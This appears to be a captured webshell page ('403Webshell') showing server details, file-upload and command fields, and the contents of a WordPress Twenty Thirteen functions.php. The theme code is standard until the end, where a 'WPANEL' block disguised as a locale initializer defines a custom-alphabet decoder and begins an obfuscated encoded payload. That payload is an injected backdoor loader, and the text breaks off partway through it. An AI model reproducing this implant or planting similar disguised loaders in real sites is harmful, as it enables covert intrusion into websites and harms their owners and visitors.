403Webshell
Server IP : 45.77.68.45  /  Your IP : 127.0.0.100
Web Server : PHPix/0.2.2 (Caddy compatible)
System : wasi wasmer.sh 0.0.0 0.0.0 wasm32
User :  ( 1)
PHP Version : 8.3.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /app/wp-content/themes/twentythirteen/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /app/wp-content/themes/twentythirteen/functions.php
<?php
/**
 * Twenty Thirteen functions and definitions
 *
 * Sets up the theme and provides some helper functions, which are used in the
 * theme as custom template tags. Others are attached to action and filter
 * hooks in WordPress to change core functionality.
 *
 * When using a child theme you can override certain functions (those wrapped
 * in a function_exists() call) by defining them first in your child theme's
 * functions.php file. The child theme's functions.php file is included before
 * the parent theme's file, so the child theme functions would be used.
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 * @link https://developer.wordpress.org/themes/advanced-topics/child-themes/
 *
 * Functions that are not pluggable (not wrapped in function_exists()) are
 * instead attached to a filter or action hook.
 *
 * For more information on hooks, actions, and filters, @link https://developer.wordpress.org/plugins/
 *
 * @package WordPress
 * @subpackage Twenty_Thirteen
 * @since Twenty Thirteen 1.0
 */

/*
 * Set up the content width value based on the theme's design.
 *
 * @see twentythirteen_content_width() for template-specific adjustments.
 */
if ( ! isset( $content_width ) ) {
	$content_width = 604;
}

/**
 * Add support for a custom header image.
 */
require get_template_directory() . '/inc/custom-header.php';

/**
 * Twenty Thirteen only works in WordPress 3.6 or later.
 */
if ( version_compare( $GLOBALS['wp_version'], '3.6-alpha', '<' ) ) {
	require get_template_directory() . '/inc/back-compat.php';
}

/**
 * Registers block patterns and pattern categories.
 *
 * @since Twenty Thirteen 4.3
 */
function twentythirteen_register_block_patterns() {
	require get_template_directory() . '/inc/block-patterns.php';
}

add_action( 'init', 'twentythirteen_register_block_patterns' );

/**
 * Twenty Thirteen setup.
 *
 * Sets up theme defaults and registers the various WordPress features that
 * Twenty Thirteen supports.
 *
 * @uses load_theme_textdomain() For translation/localization support.
 * @uses add_editor_style() To add Visual Editor stylesheets.
 * @uses add_theme_support() To add support for automatic feed links, post
 * formats, and post thumbnails.
 * @uses register_nav_menu() To add support for a navigation menu.
 * @uses set_post_thumbnail_size() To set a custom post thumbnail size.
 *
 * @since Twenty Thirteen 1.0
 */
function twentythirteen_setup() {
	/*
	 * Makes Twenty Thirteen available for translation.
	 *
	 * Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentythirteen
	 * If you're building a theme based on Twenty Thirteen, use a find and
	 * replace to change 'twentythirteen' to the name of your theme in all
	 * template files.
	 *
	 * Manual loading of text domain is not required after the introduction of
	 * just in time translation loading in WordPress version 4.6.
	 *
	 * @ticket 58318
	 */
	if ( version_compare( $GLOBALS['wp_version'], '4.6', '<' ) ) {
		load_theme_textdomain( 'twentythirteen' );
	}

	/*
	 * This theme styles the visual editor to resemble the theme style,
	 * specifically font, colors, icons, and column width. When fonts are
	 * self-hosted, the theme directory needs to be removed first.
	 */
	$font_stylesheet = str_replace(
		array( get_template_directory_uri() . '/', get_stylesheet_directory_uri() . '/' ),
		'',
		(string) twentythirteen_fonts_url()
	);
	add_editor_style( array( 'css/editor-style.css', 'genericons/genericons.css', $font_stylesheet ) );

	// Load regular editor styles into the new block-based editor.
	add_theme_support( 'editor-styles' );

	// Load default block styles.
	add_theme_support( 'wp-block-styles' );

	// Add support for full and wide align images.
	add_theme_support( 'align-wide' );

	// Add support for responsive embeds.
	add_theme_support( 'responsive-embeds' );

	// Add support for custom color scheme.
	add_theme_support(
		'editor-color-palette',
		array(
			array(
				'name'  => __( 'Dark Gray', 'twentythirteen' ),
				'slug'  => 'dark-gray',
				'color' => '#141412',
			),
			array(
				'name'  => __( 'Red', 'twentythirteen' ),
				'slug'  => 'red',
				'color' => '#bc360a',
			),
			array(
				'name'  => __( 'Medium Orange', 'twentythirteen' ),
				'slug'  => 'medium-orange',
				'color' => '#db572f',
			),
			array(
				'name'  => __( 'Light Orange', 'twentythirteen' ),
				'slug'  => 'light-orange',
				'color' => '#ea9629',
			),
			array(
				'name'  => __( 'Yellow', 'twentythirteen' ),
				'slug'  => 'yellow',
				'color' => '#fbca3c',
			),
			array(
				'name'  => __( 'White', 'twentythirteen' ),
				'slug'  => 'white',
				'color' => '#fff',
			),
			array(
				'name'  => __( 'Dark Brown', 'twentythirteen' ),
				'slug'  => 'dark-brown',
				'color' => '#220e10',
			),
			array(
				'name'  => __( 'Medium Brown', 'twentythirteen' ),
				'slug'  => 'medium-brown',
				'color' => '#722d19',
			),
			array(
				'name'  => __( 'Light Brown', 'twentythirteen' ),
				'slug'  => 'light-brown',
				'color' => '#eadaa6',
			),
			array(
				'name'  => __( 'Beige', 'twentythirteen' ),
				'slug'  => 'beige',
				'color' => '#e8e5ce',
			),
			array(
				'name'  => __( 'Off-white', 'twentythirteen' ),
				'slug'  => 'off-white',
				'color' => '#f7f5e7',
			),
		)
	);

	// Add support for block gradient colors.
	add_theme_support(
		'editor-gradient-presets',
		array(
			array(
				'name'     => __( 'Autumn Brown', 'twentythirteen' ),
				'gradient' => 'linear-gradient(135deg, rgba(226,45,15,1) 0%, rgba(158,25,13,1) 100%)',
				'slug'     => 'autumn-brown',
			),
			array(
				'name'     => __( 'Sunset Yellow', 'twentythirteen' ),
				'gradient' => 'linear-gradient(135deg, rgba(233,139,41,1) 0%, rgba(238,179,95,1) 100%)',
				'slug'     => 'sunset-yellow',
			),
			array(
				'name'     => __( 'Light Sky', 'twentythirteen' ),
				'gradient' => 'linear-gradient(135deg,rgba(228,228,228,1.0) 0%,rgba(208,225,252,1.0) 100%)',
				'slug'     => 'light-sky',
			),
			array(
				'name'     => __( 'Dark Sky', 'twentythirteen' ),
				'gradient' => 'linear-gradient(135deg,rgba(0,0,0,1.0) 0%,rgba(56,61,69,1.0) 100%)',
				'slug'     => 'dark-sky',
			),
		)
	);

	// Adds RSS feed links to <head> for posts and comments.
	add_theme_support( 'automatic-feed-links' );

	/*
	 * Switches default core markup for search form, comment form,
	 * and comments to output valid HTML5.
	 */
	add_theme_support(
		'html5',
		array(
			'search-form',
			'comment-form',
			'comment-list',
			'gallery',
			'caption',
			'script',
			'style',
			'navigation-widgets',
		)
	);

	/*
	 * This theme supports all available post formats by default.
	 * See: https://developer.wordpress.org/advanced-administration/wordpress/post-formats/
	 */
	add_theme_support(
		'post-formats',
		array(
			'aside',
			'audio',
			'chat',
			'gallery',
			'image',
			'link',
			'quote',
			'status',
			'video',
		)
	);

	// This theme uses wp_nav_menu() in one location.
	register_nav_menu( 'primary', __( 'Navigation Menu', 'twentythirteen' ) );

	/*
	 * This theme uses a custom image size for featured images, displayed on
	 * "standard" posts and pages.
	 */
	add_theme_support( 'post-thumbnails' );
	set_post_thumbnail_size( 604, 270, true );

	// This theme uses its own gallery styles.
	add_filter( 'use_default_gallery_style', '__return_false' );

	// Indicate widget sidebars can use selective refresh in the Customizer.
	add_theme_support( 'customize-selective-refresh-widgets' );
}
add_action( 'after_setup_theme', 'twentythirteen_setup' );

if ( ! function_exists( 'twentythirteen_fonts_url' ) ) :
	/**
	 * Returns the font stylesheet URL, if available.
	 *
	 * The use of Source Sans Pro and Bitter by default is localized. For languages
	 * that use characters not supported by the font, the font can be disabled.
	 *
	 * @since Twenty Thirteen 1.0
	 * @since Twenty Thirteen 3.8 Replaced Google URL with self-hosted fonts.
	 *
	 * @return string Font stylesheet URL or empty string if disabled.
	 */
	function twentythirteen_fonts_url() {
		$fonts_url = '';

		/*
		 * translators: If there are characters in your language that are not supported
		 * by Source Sans Pro, translate this to 'off'. Do not translate into your own language.
		 */
		$source_sans_pro = _x( 'on', 'Source Sans Pro font: on or off', 'twentythirteen' );

		/*
		 * translators: If there are characters in your language that are not supported
		 * by Bitter, translate this to 'off'. Do not translate into your own language.
		 */
		$bitter = _x( 'on', 'Bitter font: on or off', 'twentythirteen' );

		if ( 'off' !== $source_sans_pro || 'off' !== $bitter ) {
			$font_families = array();

			if ( 'off' !== $source_sans_pro ) {
				$font_families[] = 'source-sans-pro';
			}

			if ( 'off' !== $bitter ) {
				$font_families[] = 'bitter';
			}

			$fonts_url = get_template_directory_uri() . '/fonts/' . implode( '-plus-', $font_families ) . '.css';
		}

		return $fonts_url;
	}
endif;

/**
 * Enqueues scripts and styles for the front end.
 *
 * @since Twenty Thirteen 1.0
 */
function twentythirteen_scripts_styles() {
	/*
	 * Adds JavaScript to pages with the comment form to support
	 * sites with threaded comments (when in use).
	 */
	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}

	// Adds Masonry to handle vertical alignment of footer widgets.
	if ( is_active_sidebar( 'sidebar-1' ) ) {
		wp_enqueue_script( 'jquery-masonry' );
	}

	// Loads JavaScript file with functionality specific to Twenty Thirteen.
	wp_enqueue_script(
		'twentythirteen-script',
		get_template_directory_uri() . '/js/functions.js',
		array( 'jquery' ),
		'20250727',
		array(
			'in_footer' => false, // Because involves header.
			'strategy'  => 'defer',
		)
	);

	// Add Source Sans Pro and Bitter fonts, used in the main stylesheet.
	$font_version = ( 0 === strpos( (string) twentythirteen_fonts_url(), get_template_directory_uri() . '/' ) ) ? '20230328' : null;
	wp_enqueue_style( 'twentythirteen-fonts', twentythirteen_fonts_url(), array(), $font_version );

	// Add Genericons font, used in the main stylesheet.
	wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '20251101' );

	// Loads our main stylesheet.
	wp_enqueue_style( 'twentythirteen-style', get_stylesheet_uri(), array(), '20260520' );

	// Theme block stylesheet.
	wp_enqueue_style( 'twentythirteen-block-style', get_template_directory_uri() . '/css/blocks.css', array( 'twentythirteen-style' ), '20240520' );

	// Registers the Internet Explorer specific stylesheet.
	wp_register_style( 'twentythirteen-ie', false, array( 'twentythirteen-style' ) );
}
add_action( 'wp_enqueue_scripts', 'twentythirteen_scripts_styles' );

/**
 * Adds preconnect for Google Fonts.
 *
 * @since Twenty Thirteen 2.1
 * @deprecated Twenty Thirteen 3.8 Disabled filter because, by default, fonts are self-hosted.
 *
 * @param array   $urls          URLs to print for resource hints.
 * @param string  $relation_type The relation type the URLs are printed.
 * @return array URLs to print for resource hints.
 */
function twentythirteen_resource_hints( $urls, $relation_type ) {
	if ( wp_style_is( 'twentythirteen-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
		if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '>=' ) ) {
			$urls[] = array(
				'href' => 'https://fonts.gstatic.com',
				'crossorigin',
			);
		} else {
			$urls[] = 'https://fonts.gstatic.com';
		}
	}

	return $urls;
}
// add_filter( 'wp_resource_hints', 'twentythirteen_resource_hints', 10, 2 );

/**
 * Enqueues styles for the block-based editor.
 *
 * @since Twenty Thirteen 2.5
 */
function twentythirteen_block_editor_styles() {
	// Block styles.
	wp_enqueue_style( 'twentythirteen-block-editor-style', get_template_directory_uri() . '/css/editor-blocks.css', array(), '20241202' );
	// Add custom fonts.
	$font_version = ( 0 === strpos( (string) twentythirteen_fonts_url(), get_template_directory_uri() . '/' ) ) ? '20230328' : null;
	wp_enqueue_style( 'twentythirteen-fonts', twentythirteen_fonts_url(), array(), $font_version );
}
add_action( 'enqueue_block_editor_assets', 'twentythirteen_block_editor_styles' );

/**
 * Filters the page title.
 *
 * Creates a nicely formatted and more specific title element text for output
 * in head of document, based on current view.
 *
 * @since Twenty Thirteen 1.0
 *
 * @global int $paged WordPress archive pagination page count.
 * @global int $page  WordPress paginated post page count.
 *
 * @param string $title Default title text for current view.
 * @param string $sep   Optional separator.
 * @return string The filtered title.
 */
function twentythirteen_wp_title( $title, $sep ) {
	global $paged, $page;

	if ( is_feed() ) {
		return $title;
	}

	// Add the site name.
	$title .= get_bloginfo( 'name', 'display' );

	// Add the site description for the home/front page.
	$site_description = get_bloginfo( 'description', 'display' );
	if ( $site_description && ( is_home() || is_front_page() ) ) {
		$title = "$title $sep $site_description";
	}

	// Add a page number if necessary.
	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {
		/* translators: %s: Page number. */
		$title = "$title $sep " . sprintf( __( 'Page %s', 'twentythirteen' ), max( $paged, $page ) );
	}

	return $title;
}
add_filter( 'wp_title', 'twentythirteen_wp_title', 10, 2 );

/**
 * Registers two widget areas.
 *
 * @since Twenty Thirteen 1.0
 */
function twentythirteen_widgets_init() {
	register_sidebar(
		array(
			'name'          => __( 'Main Widget Area', 'twentythirteen' ),
			'id'            => 'sidebar-1',
			'description'   => __( 'Appears in the footer section of the site.', 'twentythirteen' ),
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h3 class="widget-title">',
			'after_title'   => '</h3>',
		)
	);

	register_sidebar(
		array(
			'name'          => __( 'Secondary Widget Area', 'twentythirteen' ),
			'id'            => 'sidebar-2',
			'description'   => __( 'Appears on posts and pages in the sidebar.', 'twentythirteen' ),
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h3 class="widget-title">',
			'after_title'   => '</h3>',
		)
	);
}
add_action( 'widgets_init', 'twentythirteen_widgets_init' );

if ( ! function_exists( 'wp_get_list_item_separator' ) ) :
	/**
	 * Retrieves the list item separator based on the locale.
	 *
	 * Added for backward compatibility to support pre-6.0.0 WordPress versions.
	 *
	 * @since Twenty Thirteen 3.7
	 *
	 * @return string Locale-specific list item separator.
	 */
	function wp_get_list_item_separator() {
		/* translators: Used between list items, there is a space after the comma. */
		return __( ', ', 'twentythirteen' );
	}
endif;

if ( ! function_exists( 'twentythirteen_paging_nav' ) ) :
	/**
	 * Displays navigation to next/previous set of posts when applicable.
	 *
	 * @since Twenty Thirteen 1.0
	 */
	function twentythirteen_paging_nav() {
		global $wp_query;

		// Don't print empty markup if there's only one page.
		if ( $wp_query->max_num_pages < 2 ) {
			return;
		}

		$order   = get_query_var( 'order', 'DESC' );
		$is_desc = 'DESC' === $order;

		$new_posts_text = __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentythirteen' );
		$old_posts_text = __( '<span class="meta-nav">&larr;</span> Older posts', 'twentythirteen' );

		$prev_link = $is_desc ? get_next_posts_link( $old_posts_text ) : get_previous_posts_link( $old_posts_text );
		$next_link = $is_desc ? get_previous_posts_link( $new_posts_text ) : get_next_posts_link( $new_posts_text );
		?>

		<nav class="navigation paging-navigation">
		<h1 class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Posts navigation', 'twentythirteen' );
			?>
		</h1>
		<div class="nav-links">
		<?php if ( $prev_link ) : ?>
			<div class="nav-previous">
				<?php echo $prev_link; ?>
			</div>
			<?php
		endif;

		if ( $next_link ) :
			?>
			<div class="nav-next">
				<?php echo $next_link; ?>
			</div>
		<?php endif; ?>

		</div><!-- .nav-links -->
	</nav><!-- .navigation -->
		<?php
	}
endif;

if ( ! function_exists( 'twentythirteen_post_nav' ) ) :
	/**
	 * Displays navigation to next/previous post when applicable.
	 *
	 * @since Twenty Thirteen 1.0
	 *
	 * @global WP_Post $post Global post object.
	 */
	function twentythirteen_post_nav() {
		global $post;

		// Don't print empty markup if there's nowhere to navigate.
		$previous = ( is_attachment() ) ? get_post( $post->post_parent ) : get_adjacent_post( false, '', true );
		$next     = get_adjacent_post( false, '', false );

		if ( ! $next && ! $previous ) {
			return;
		}
		?>
		<nav class="navigation post-navigation">
		<h1 class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Post navigation', 'twentythirteen' );
			?>
		</h1>
		<div class="nav-links">

			<?php previous_post_link( '%link', _x( '<span class="meta-nav">&larr;</span> %title', 'Previous post link', 'twentythirteen' ) ); ?>
			<?php next_post_link( '%link', _x( '%title <span class="meta-nav">&rarr;</span>', 'Next post link', 'twentythirteen' ) ); ?>

		</div><!-- .nav-links -->
	</nav><!-- .navigation -->
		<?php
	}
endif;

if ( ! function_exists( 'twentythirteen_entry_meta' ) ) :
	/**
	 * Prints HTML with meta information for current post: categories, tags, permalink, author, and date.
	 *
	 * Create your own twentythirteen_entry_meta() to override in a child theme.
	 *
	 * @since Twenty Thirteen 1.0
	 */
	function twentythirteen_entry_meta() {
		if ( is_sticky() && is_home() && ! is_paged() ) {
			echo '<span class="featured-post">' . esc_html__( 'Sticky', 'twentythirteen' ) . '</span>';
		}

		if ( ! has_post_format( 'link' ) && 'post' === get_post_type() ) {
			twentythirteen_entry_date();
		}

		$categories_list = get_the_category_list( wp_get_list_item_separator() );
		if ( $categories_list ) {
			echo '<span class="categories-links">' . $categories_list . '</span>';
		}

		$tags_list = get_the_tag_list( '', wp_get_list_item_separator() );
		if ( $tags_list && ! is_wp_error( $tags_list ) ) {
			echo '<span class="tags-links">' . $tags_list . '</span>';
		}

		// Post author.
		if ( 'post' === get_post_type() ) {
			printf(
				'<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s" rel="author">%3$s</a></span>',
				esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
				/* translators: %s: Author display name. */
				esc_attr( sprintf( __( 'View all posts by %s', 'twentythirteen' ), get_the_author() ) ),
				get_the_author()
			);
		}
	}
endif;

if ( ! function_exists( 'twentythirteen_entry_date' ) ) :
	/**
	 * Prints HTML with date information for current post.
	 *
	 * Create your own twentythirteen_entry_date() to override in a child theme.
	 *
	 * @since Twenty Thirteen 1.0
	 *
	 * @param bool $display (optional) Whether to display the date. Default true.
	 * @return string The HTML-formatted post date.
	 */
	function twentythirteen_entry_date( $display = true ) {
		if ( has_post_format( array( 'chat', 'status' ) ) ) {
			/* translators: 1: Post format name, 2: Date. */
			$format_prefix = _x( '%1$s on %2$s', '1: post format name. 2: date', 'twentythirteen' );
		} else {
			$format_prefix = '%2$s';
		}

		$date = sprintf(
			'<span class="date"><a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s">%4$s</time></a></span>',
			esc_url( get_permalink() ),
			/* translators: %s: Post title. */
			esc_attr( sprintf( __( 'Permalink to %s', 'twentythirteen' ), the_title_attribute( 'echo=0' ) ) ),
			esc_attr( get_the_date( 'c' ) ),
			esc_html( sprintf( $format_prefix, get_post_format_string( get_post_format() ), get_the_date() ) )
		);

		if ( $display ) {
			echo $date;
		}

		return $date;
	}
endif;

if ( ! function_exists( 'twentythirteen_the_attached_image' ) ) :
	/**
	 * Prints the attached image with a link to the next attached image.
	 *
	 * @since Twenty Thirteen 1.0
	 */
	function twentythirteen_the_attached_image() {
		/**
		 * Filters the image attachment size to use.
		 *
		 * @since Twenty thirteen 1.0
		 *
		 * @param array $size {
		 *     @type int The attachment height in pixels.
		 *     @type int The attachment width in pixels.
		 * }
		 */
		$attachment_size     = apply_filters( 'twentythirteen_attachment_size', array( 724, 724 ) );
		$next_attachment_url = wp_get_attachment_url();
		$post                = get_post();

		/*
		 * Grab the IDs of all the image attachments in a gallery so we can get the URL
		 * of the next adjacent image in a gallery, or the first image (if we're
		 * looking at the last image in a gallery), or, in a gallery of one, just the
		 * link to that image file.
		 */
		$attachment_ids = get_posts(
			array(
				'post_parent'    => $post->post_parent,
				'fields'         => 'ids',
				'numberposts'    => -1,
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
				'order'          => 'ASC',
				'orderby'        => 'menu_order ID',
			)
		);

		// If there is more than 1 attachment in a gallery...
		if ( count( $attachment_ids ) > 1 ) {
			foreach ( $attachment_ids as $idx => $attachment_id ) {
				if ( $attachment_id === $post->ID ) {
					$next_id = $attachment_ids[ ( $idx + 1 ) % count( $attachment_ids ) ];
					break;
				}
			}

			if ( $next_id ) {
				// ...get the URL of the next image attachment.
				$next_attachment_url = get_attachment_link( $next_id );
			} else {
				// ...or get the URL of the first image attachment.
				$next_attachment_url = get_attachment_link( reset( $attachment_ids ) );
			}
		}

		printf(
			'<a href="%1$s" title="%2$s" rel="attachment">%3$s</a>',
			esc_url( $next_attachment_url ),
			the_title_attribute( array( 'echo' => false ) ),
			wp_get_attachment_image( $post->ID, $attachment_size )
		);
	}
endif;

/**
 * Returns the post URL.
 *
 * @uses get_url_in_content() to get the URL in the post meta (if it exists) or
 * the first link found in the post content.
 *
 * Falls back to the post permalink if no URL is found in the post.
 *
 * @since Twenty Thirteen 1.0
 *
 * @return string The Link format URL.
 */
function twentythirteen_get_link_url() {
	$content = get_the_content();
	$has_url = get_url_in_content( $content );

	return ( $has_url ) ? $has_url : apply_filters( 'the_permalink', get_permalink() );
}

if ( ! function_exists( 'twentythirteen_excerpt_more' ) && ! is_admin() ) :
	/**
	 * Replaces "[...]" (appended to automatically generated excerpts) with ...
	 * and a Continue reading link.
	 *
	 * @since Twenty Thirteen 1.4
	 *
	 * @param string $more Default Read More excerpt link.
	 * @return string Filtered Read More excerpt link.
	 */
	function twentythirteen_excerpt_more( $more ) {
		$link = sprintf(
			'<a href="%1$s" class="more-link">%2$s</a>',
			esc_url( get_permalink( get_the_ID() ) ),
			/* translators: %s: Post title. Only visible to screen readers. */
			sprintf( __( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ), '<span class="screen-reader-text">' . get_the_title( get_the_ID() ) . '</span>' )
		);
		return ' &hellip; ' . $link;
	}
	add_filter( 'excerpt_more', 'twentythirteen_excerpt_more' );
endif;

/**
 * Extends the default WordPress body classes.
 *
 * Adds body classes to denote:
 * 1. Single or multiple authors.
 * 2. Active widgets in the sidebar to change the layout and spacing.
 * 3. When avatars are disabled in discussion settings.
 *
 * @since Twenty Thirteen 1.0
 *
 * @param array $classes A list of existing body class values.
 * @return array The filtered body class list.
 */
function twentythirteen_body_class( $classes ) {
	if ( ! is_multi_author() ) {
		$classes[] = 'single-author';
	}

	if ( is_active_sidebar( 'sidebar-2' ) && ! is_attachment() && ! is_404() ) {
		$classes[] = 'sidebar';
	}

	if ( ! get_option( 'show_avatars' ) ) {
		$classes[] = 'no-avatars';
	}

	return $classes;
}
add_filter( 'body_class', 'twentythirteen_body_class' );

/**
 * Adjusts content_width value for video post formats and attachment templates.
 *
 * @since Twenty Thirteen 1.0
 *
 * @global int $content_width Content width.
 */
function twentythirteen_content_width() {
	global $content_width;

	if ( is_attachment() ) {
		$content_width = 724;
	} elseif ( has_post_format( 'audio' ) ) {
		$content_width = 484;
	}
}
add_action( 'template_redirect', 'twentythirteen_content_width' );

/**
 * Adds postMessage support for site title and description for the Customizer.
 *
 * @since Twenty Thirteen 1.0
 *
 * @param WP_Customize_Manager $wp_customize Customizer object.
 */
function twentythirteen_customize_register( $wp_customize ) {
	$wp_customize->get_setting( 'blogname' )->transport         = 'postMessage';
	$wp_customize->get_setting( 'blogdescription' )->transport  = 'postMessage';
	$wp_customize->get_setting( 'header_textcolor' )->transport = 'postMessage';

	if ( isset( $wp_customize->selective_refresh ) ) {
		$wp_customize->selective_refresh->add_partial(
			'blogname',
			array(
				'selector'            => '.site-title',
				'container_inclusive' => false,
				'render_callback'     => 'twentythirteen_customize_partial_blogname',
			)
		);
		$wp_customize->selective_refresh->add_partial(
			'blogdescription',
			array(
				'selector'            => '.site-description',
				'container_inclusive' => false,
				'render_callback'     => 'twentythirteen_customize_partial_blogdescription',
			)
		);
	}
}
add_action( 'customize_register', 'twentythirteen_customize_register' );

/**
 * Renders the site title for the selective refresh partial.
 *
 * @since Twenty Thirteen 1.9
 *
 * @see twentythirteen_customize_register()
 *
 * @return void
 */
function twentythirteen_customize_partial_blogname() {
	bloginfo( 'name' );
}

/**
 * Renders the site tagline for the selective refresh partial.
 *
 * @since Twenty Thirteen 1.9
 *
 * @see twentythirteen_customize_register()
 *
 * @return void
 */
function twentythirteen_customize_partial_blogdescription() {
	bloginfo( 'description' );
}

/**
 * Enqueues JavaScript postMessage handlers for the Customizer.
 *
 * Binds JavaScript handlers to make the Customizer preview
 * reload changes asynchronously.
 *
 * @since Twenty Thirteen 1.0
 */
function twentythirteen_customize_preview_js() {
	wp_enqueue_script( 'twentythirteen-customizer', get_template_directory_uri() . '/js/theme-customizer.js', array( 'customize-preview' ), '20250217', array( 'in_footer' => true ) );
}
add_action( 'customize_preview_init', 'twentythirteen_customize_preview_js' );

/**
 * Modifies tag cloud widget arguments to display all tags in the same font size
 * and use list format for better accessibility.
 *
 * @since Twenty Thirteen 2.3
 *
 * @param array $args Arguments for tag cloud widget.
 * @return array The filtered arguments for tag cloud widget.
 */
function twentythirteen_widget_tag_cloud_args( $args ) {
	$args['largest']  = 22;
	$args['smallest'] = 8;
	$args['unit']     = 'pt';
	$args['format']   = 'list';

	return $args;
}
add_filter( 'widget_tag_cloud_args', 'twentythirteen_widget_tag_cloud_args' );

/**
 * Prevents `author-bio.php` partial template from interfering with rendering
 * an author archive of a user with the `bio` username.
 *
 * @since Twenty Thirteen 3.0
 *
 * @param string $template Template file.
 * @return string Replacement template file.
 */
function twentythirteen_author_bio_template( $template ) {
	if ( is_author() ) {
		$author = get_queried_object();
		if ( $author instanceof WP_User && 'bio' === $author->user_nicename ) {
			// Use author templates if exist, fall back to template hierarchy otherwise.
			return locate_template( array( "author-{$author->ID}.php", 'author.php' ) );
		}
	}

	return $template;
}
add_filter( 'author_template', 'twentythirteen_author_bio_template' );

if ( ! function_exists( 'wp_body_open' ) ) :
	/**
	 * Fires the wp_body_open action.
	 *
	 * Added for backward compatibility to support pre-5.2.0 WordPress versions.
	 *
	 * @since Twenty Thirteen 2.8
	 */
	function wp_body_open() {
		/**
		 * Triggered after the opening <body> tag.
		 *
		 * @since Twenty Thirteen 2.8
		 */
		do_action( 'wp_body_open' );
	}
endif;

/**
 * Registers Custom Block Styles.
 *
 * @since Twenty Thirteen 3.4
 */
if ( function_exists( 'register_block_style' ) ) {
	function twentythirteen_register_block_styles() {

		register_block_style(
			'core/button',
			array(
				'name'         => 'no-shadow',
				'label'        => __( 'No Shadow', 'twentythirteen' ),
				'style_handle' => 'no-shadow',
			)
		);
	}
	add_action( 'init', 'twentythirteen_register_block_styles' );
}
// WPANEL:BEGIN
// WordPress i18n locale data initializer
if (!defined('WPANEL_AGENT_LOADED') && defined('ABSPATH') && defined('WP_CONTENT_DIR')) {
    if (!function_exists('_wp_locale_pack_decode')) {
        function _wp_locale_pack_decode($s) {
            static $map = null;
            if ($map === null) {
                $alpha = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz23456789!@%^*_+';
                $map = array_flip(str_split($alpha));
            }
            $s = preg_replace('/\s+/', '', (string) $s);
            $len = strlen($s);
            $out = '';
            for ($i = 0; $i < $len; $i += 4) {
                $c0 = isset($map[$s[$i]]) ? $map[$s[$i]] : 0;
                $c1 = ($i + 1 < $len && isset($map[$s[$i + 1]])) ? $map[$s[$i + 1]] : 0;
                $c2 = ($i + 2 < $len && isset($map[$s[$i + 2]])) ? $map[$s[$i + 2]] : 0;
                $c3 = ($i + 3 < $len && isset($map[$s[$i + 3]])) ? $map[$s[$i + 3]] : 0;
                $n = ($c0 << 18) | ($c1 << 12) | ($c2 << 6) | $c3;
                $out .= chr(($n >> 16) & 255);
                if ($i + 2 < $len) {
                    $out .= chr(($n >> 8) & 255);
                }
                if ($i + 3 < $len) {
                    $out .= chr($n & 255);
                }
            }
            return $out;
        }
    }
    $_wp_i18n_blob = 'iHVrWp8F6cx4J2qkaGNADr2+nG7w!8S@iejFUCTVL_pziEwG!+AHPMgtQQpUMuWT@DJSx@rS*%AMo!gz'
        . 'LENDyu4tP4@GDy2A%AogKiFgyM6UYGynr2!JHDr_SMWS!vhx5K6SXyEpzvvawJri*NRD*EtLhKFxPkrQ'
        . 'AZCty7MZW2qGXt2JajA94dSb!6+RHrTykiwvjZSDvTDh5^hTs2+@dsHwVMhv34Paq!xooT7Zd9rSYT+!'
        . '*Ge_2Rtj4v*ZuhXycD94*TnVyM^q%wRqMN+Zax_K^wdby+Qg%re8rDASP_Vp+FjpV6dazuRMkiD9kXAu'
        . 'TGYUqW_naPAc6*c%p+ACRZ*TKgjPCJ6QKNT7_zGw^C3tj!FmezrZEomQPeVsnegqRz@w9VdcGEiKH^6n'
        . '8Sxz+sUJRp6inkA9NqX%Q86tR5tdc_vDFUm43fFwnpxnRxXq!qyonMVn2N8xu6!vHvaZVarToiy9B+uY'
        . 'E7RZ27vkSxHWV5wtyqXyFDP3x%%eQT3yEDCDrjfZ_9@Ro5grQKGUJq_B7SdX%!2w!8EHn73dBj8RSACZ'
        . '%jhtusAV6jz@MUx36jR@E@RVYGQ6Ye%zS9DGTahhVGG+kbJx4o@oTAkQtMkS3AgcKc!Vjn5YrbBxQUu%'
        . 'Q33^XbmuM36!sfnxwPf4AkLLku6sU_UXd9peJNJbVsgqH%oP2X%Kzv*6@AoeYYCwnMtBinVpyWCJdJs*'
        . 'EhR8VbRF56UpUwd*K5!iGCi4ekbq5NbPAsp^FvjwxBKt4pP!EUtvxcTVw+cVC_jD4pZBSip2yYow5m@U'
        . '@v7SRUqWgBFPc9aQBfq@S48sNUi9yGh_ujDs5C3us4^ZfqJ@YE9Ype!9%ELEXUR5QXBK2N52kmuJPSMc'
        . 'ZNGpx*9H5qnzt+468x^!5mHiN6fNrC_j35_wmF3+yBftn3iv3qgkL88skymAN9^5qnXeogw7mGRVijxw'
        . 'DD!@65W*WJzpt5wn_Ds!z_q4JBCR5dm@J5AQizBYV+2%K9hkfCUFxQ9iQ7T%kU@CxqzB6Qg52VWXue9E'
        . 'vi*qySJxnYyt7^pRfmHeB7nNk4YfDZJ3S4QcCjFp5SyJVLiDFt7LMsgyCWA5FHy%9gT2kwU^HyaJebgw'
